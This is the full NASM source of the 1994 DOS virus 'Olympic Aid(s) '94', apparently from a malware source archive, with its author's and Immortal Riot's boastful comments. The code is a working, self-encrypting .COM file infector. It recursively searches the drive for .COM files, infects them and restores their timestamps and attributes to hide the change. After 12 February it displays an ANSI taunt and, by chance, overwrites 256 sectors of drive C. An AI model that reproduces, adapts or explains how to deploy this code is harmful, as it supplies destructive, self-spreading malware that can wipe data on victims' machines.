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https://github.com/vxunderground/MalwareSourceCode
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542 lines
21 KiB
NASM
542 lines
21 KiB
NASM
; VirusName: Olympic Aid(s) '94
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; Origin : Norway
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; Author : The Penetrator
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; Date : 1/01/1994
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;
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; Hopefully the Olympics at Lillehammer is over when you read this
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; shit.This virus was made only for creating fear, and some publicity.
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;
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; Anyway this is a new selfencrypting non-overwriting *.COM infector...
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; And YES, it may (and WILL) harm you. It's a 10% chanse for a Major
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; ScrewUp (NO ScrewUps before February the 12th. Just to give it some
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; time to spread)
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;
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; And I have to send some fuckings to Norman Data Defence Systems in
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; Drammen, Norway. They is fucking up the BBS scene here in Norway
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; right now!
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; // The Penetrator/NORWAY
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; (Now follows Immortal Riot comments!);
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; This is the virus, WE got accused for writing, how silly! Anyhow
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; I picked this one up from a dude in Norway, and he told me that
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; I could include it in our magazine, or whatever.
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;
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; It's nothing fancy or something, but hey! it surely was easy
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; publicity!, too bad that the papers accused US for doing it..
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; We didn't, this is just a contribution from our friends in Norway,
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; that we picked up AFTER we'd got the silly F-bull 2.11, and had to
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; investigate the situation.
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;
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; I've in this version recieved another ansi-screen to include, dunno
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; about the last one.. Anyhow, this is as The Penetrate said a non-ow
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; .COM infector. It searches the whole directory tree of files to
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; infect, thus making it slow when its spreads trough the drive. It's
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; also highly destructive (NM.NUKE.VCL.256.TRASH). Some code resembles
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; of VCL based code, but if you want to read more about it, just read
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; our article about VCL.Olympic also included in Insane Reality issue4.
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;
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; HAHA!, Norway, Sweden got 24 gold-medals from the Olympic.Games
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; (If the ice-hockey counts!!), just as I told you! Haha!, AND give
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; my best to Beate (can't you give girls REAL-names in Norway??).
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;
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; Thanks to All Norweigian contributors // The Unforgiven/Immortal Riot.
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;
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; OLYMPIC AID(S) '94
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ JUST FOR FIRST TIME INSTALLING --Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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main proc near
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db 0E9h,00h,00h ; Near Jump
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ S T A R T O F V I R I I ÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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start: call find_offset ; Like a PUSH IP
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find_offset: pop bp ; We love POP'ing
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push bp ; and PUSH'ing
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pop bp ; bp's
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sub bp,offset find_offset ; Adjust for length of host
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GeneticChange: MOV byte ptr [BP+GeneticChange+4],001h ;
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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lea si,[bp + buffer] ; SI points to original start
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mov di,0100h ; Push 0100h on to stack for
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push di ; return to main program
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movsw ; Copy the first two bytes
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movsb ; Copy the third byte
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mov di,bp ; DI points to start of virus
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mov bp,sp ; BP points to stack
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer on stack
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int 021h
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mov cx,0005h ; Do X infections
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search_loop: push cx ; Save CX
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add byte ptr [DI+GeneticChange+4],001h ; Some BullShit!!!
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call search_files ; Find and infect a file
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pop cx ; Restore CX
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loop search_loop ; Repeat until CX is 0
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ CHECKING DATE/TIME FOR OLYMPIC START ÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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CheckDate: mov ah,2ah
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int 21h ; DOS Services ah=function 2Ah
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; get date, cx=year, dh=month
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; dl=day, al=day-of-week 0=SUN
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cmp DH,2h ; February
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jB NoFuckUp
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cmp DL,12 ; The Olympics is starting
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jB NoFuckUp ; the 12 th.
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mov ah,2Ch
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int 21h ; DOS Services ah=function 2Ch
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; get time, cx=hrs/min, dx=sec
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cmp DL,10 ; 10 % chanse for...
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jA NoFuckUp
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Yeah: jmp OL1994 ; ScrewUp...
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ RETURN NICELY AND QUIET TO INFECTED FILE ÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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NoFuckUp: pop dx ; DX holds original DTA address
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov sp,bp ; Deallocate local buffer
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xor ax,ax ;
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mov bx,ax ;
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mov cx,ax ;
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mov dx,ax ; Empty out the registers
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mov si,ax ;
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mov di,ax ;
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mov bp,ax ;
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ret ; Return to original program
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main endp
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ LET'S LOOK AT THE OLYMPIC RINGS -Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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OL1994: mov ah,0Fh ; BIOS get video mode function
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int 010h
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xor ah,ah ; BIOS set video mode function
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int 010h ; (Clear Screen)
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lea si,[di + AnsiData] ; SI points to data
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mov cx,AnsiEnd-AnsiData ; Data Length
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JCXZ Done
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xor di,di
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mov ax,0b800h
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mov es,ax
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MOV DX,DI ;Save X coordinate for later.
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XOR AX,AX ;Set Current attributes.
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CLD
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LOOPA: LODSB ;Get next character.
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CMP AL,32 ;If a control character, jump.
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JC ForeGround
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STOSW ;Save letter on screen.
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Next: LOOP LOOPA
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JMP Short Done
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ForeGround:
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CMP AL,16 ;If less than 16, then change the
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JNC BackGround ;foreground color. Otherwise jump.
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AND AH,0F0H ;Strip off old foreground.
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OR AH,AL
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JMP Next
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BackGround:
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CMP AL,24 ;If less than 24, then change the
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JZ NextLine ;background color. If exactly 24,
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JNC FlashBitToggle ;then jump down to next line.
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SUB AL,16 ;Otherwise jump to multiple output
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ADD AL,AL ;routines.
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ADD AL,AL
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ADD AL,AL
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ADD AL,AL
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AND AH,8FH ;Strip off old background.
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OR AH,AL
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JMP Next
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NextLine:
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ADD DX,160 ;If equal to 24,
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MOV DI,DX ;then jump down to
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JMP Next ;the next line.
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FlashBitToggle:
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CMP AL,27 ;Does user want to toggle the blink
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JC MultiOutput ;attribute?
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JNZ Next
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XOR AH,128 ;Done.
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JMP Next
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MultiOutput:
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CMP AL,25 ;Set Z flag if multi-space output.
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MOV BX,CX ;Save main counter.
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LODSB ;Get count of number of times
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MOV CL,AL ;to display character.
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MOV AL,32
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JZ StartOutput ;Jump here if displaying spaces.
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LODSB ;Otherwise get character to use.
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DEC BX ;Adjust main counter.
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StartOutput:
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XOR CH,CH
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INC CX
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REP STOSW
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MOV CX,BX
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DEC CX ;Adjust main counter.
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LOOPNZ LOOPA ;Loop if anything else to do...
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Done:
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ HAAKON & KRISTIN SCREWS UP -----Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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TrashHD: CLI ; Disable interrupts
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mov ax,0002h ; DRIVE C:
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mov cx,100h ; Sectors (100hex=256DEC!)
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XOR DX,DX ; Clear DX (start with sector 0)
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int 026h ; DOS absolute write interrupt
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EndlessLoop: JMP EndlessLoop ; Boring...ehh???
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ FIND FILES ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + root] ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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lea dx,[di + all_files] ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + up_dir] ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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lea dx,[di + com_mask] ; DX points to "*.COM"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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com_mask db "*.COM",0 ; Mask for all .COM files
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traverse endp
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ FIND MORE FILES ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ FUCK A FILE ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [di + set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ah],(65279 - (finish - start))
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jbe size_ok ; If it's small enough continue
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jmp infection_done ; Otherwise exit
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size_ok: mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,3 ; CX holds bytes to read (3)
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lea dx,[di + buffer] ; DX points to buffer
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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xchg dx,ax ; Faster than a PUSH AX
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mov ah,03Eh ; DOS close file function
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int 021h
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xchg dx,ax ; Faster than a POP AX
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sub ax,finish - start + 3 ; Adjust AX for a valid jump
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cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
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je infection_done ; If equal then exit
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mov byte ptr [di + set_carry],1 ; Success -- the file is OK
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add ax,finish - start ; Re-adjust to make the jump
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mov word ptr [di + new_jump + 1],ax ; Construct jump
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,3 ; CX holds bytes to write (3)
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lea dx,[di + new_jump] ; DX points to the jump we made
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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push si ; Save SI through call
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call encrypt_code ; Write an encrypted copy
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pop si ; Restore SI
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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set_carry db ? ; Set-carry-on-exit flag
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buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
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new_jump db 0E9h,?,? ; New jump to virus
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infect_file endp
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ CRUNCHED OLYMPIC RINGS -ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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AnsiData: DB 15,16,24,24,24,1,26,17,'Ä ',15,'L i l l e h a'
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DB ' m m e r ',39,' 9 4 ',1,26,17,'Ä',24,24,25,20
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DB 'Haakon And Kristin Blew It Up Again...',24,25,19,26,5
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DB 'Ü',25,10,8,26,5,'Ü',25,10,4,26,5,'Ü',24,25,16,1,'ÜÛ'
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DB 'ßß',25,3,'ßßÛÜ',25,4,8,'ÜÛßß',25,3,'ßßÛÜ',25,4,4,'Ü'
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DB 'Ûßß',25,3,'ßßÛÜ',24,25,15,1,'Ûß',25,8,14,'Ü',17,'Ü',1
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DB 16,'Û',14,'ÜÜÜ',8,'Ûß',25,8,2,'Ü',8,18,'ß',16,'Û',2,'Ü'
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DB 'ÜÜ',4,'Ûß',25,9,'ßÛ',24,25,14,1,'Ûß',25,6,14,'ÜÛßß '
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DB 1,'ßÛ ',8,'Ûß',14,'ÛÜ',25,4,2,'ÜÛßß ',8,'ßÛ ',20,' ',0
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DB 'Ü',2,16,'ÛÜ',25,9,4,'ßÛ',24,25,14,1,'ÛÜ',25,5,14,'Û'
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DB 'ß',25,3,1,'ÜÛ ',8,'ÛÜ ',14,'ßÛ',25,2,2,'Ûß',25,3,8,'Ü'
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DB 'Û ',4,'ÛÜ ',2,'ßÛ',25,8,4,'ÜÛ',24,25,15,1,'ÛÜ',25,3,14
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DB 'Ûß',25,3,1,'ÜÛ',25,2,8,'ÛÜ ',14,'ßÛ ',2,'Ûß',25,3,8,'Ü'
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DB 'Û',25,2,4,'ÛÜ ',2,'ßÛ',25,6,4,'ÜÛ',24,25,16,1,'ßÛÜÜ'
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DB ' ',14,'ÛÜ ',1,'ÜÜÛß',25,4,8,'ßÛ',14,'ÜÛ ',2,'ÛÜ ',8,'Ü'
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DB 'ÜÛß',25,4,4,'ßÛ',2,'ÜÛ',25,3,4,'ÜÜÛß',24,25,19,1,'ß'
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DB 'ßß',14,17,'ÛÜ',1,16,'ß',25,8,14,'ÜÛ',8,'ßßß',2,'Û',8
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DB 18,'ß',16,'ß',25,8,2,'ÜÛ',4,26,5,'ß',24,25,23,14,'ßÛ'
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DB 'ÜÜ',25,3,'ÜÜÛß',25,4,2,'ßÛÜÜ',25,3,'ÜÜÛ',0,18,'Ü',24
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DB 16,25,26,14,26,5,'ß',25,10,2,26,5,'ß',25,12,0,'1',24,1
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DB 'This Time They Have Been Fucking Around With The Ol'
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DB 'ympic Computers, And Managed',24,25,2,'To Infect A '
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DB 'Lot Of Your Computers With A Little Tiny Destructiv'
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DB 'e Virus...',24,24,'Now, Antonio, You Can',39,'t Let'
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DB ' Them Runaway With This, Punish The Little Bastards'
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DB '!',24,24,26,'OÄ',24,24,24,24
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AnsiEnd: DB 0
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ WRITE ENCRYPTED COPY Ä--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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encrypt_code proc near
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push bp ; Save BP
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mov bp,di ; Use BP as pointer to code
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lea si,[bp + encrypt_decrypt]; SI points to cipher routine
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xor ah,ah ; BIOS get time function
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int 01Ah
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mov word ptr [si + 9],dx ; Low word of timer is new key
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xor byte ptr [si + 1],8 ;
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xor byte ptr [si + 8],1 ; Change all SIs to DIs
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xor word ptr [si + 11],0101h; (and vice-versa)
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lea di,[bp + finish] ; Copy routine into heap
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mov cx,finish - encrypt_decrypt - 1 ; All but final RET
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push si ; Save SI for later
|
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push cx ; Save CX for later
|
|
rep movsb ; Copy the bytes
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|
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lea si,[bp + write_stuff] ; SI points to write stuff
|
|
mov cx,5 ; CX holds length of write
|
|
rep movsb ; Copy the bytes
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|
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pop cx ; Restore CX
|
|
pop si ; Restore SI
|
|
inc cx ; Copy the RET also this time
|
|
rep movsb ; Copy the routine again
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|
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mov ah,040h ; DOS write to file function
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lea dx,[bp + start] ; DX points to virus
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lea si,[bp + finish] ; SI points to routine
|
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call si ; Encrypt/write/decrypt
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|
|
mov di,bp ; DI points to virus again
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
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|
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write_stuff: mov cx,finish - start ; Length of code
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|
int 021h
|
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encrypt_code endp
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|
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end_of_code label near
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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Note db " Olympic Aid(s) '94 "
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|
db " (c) The Penetrator "
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|
|
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ ENCRYPT/DECRYPT ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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encrypt_decrypt proc near
|
|
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
|
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
|
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
|
inc si ; Do the next word
|
|
inc si ;
|
|
loop xor_loop ; Loop until we're through
|
|
ret ; Return to caller
|
|
encrypt_decrypt endp
|
|
finish label near
|
|
|
|
code ends
|
|
end main
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄ END OF STORY ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä |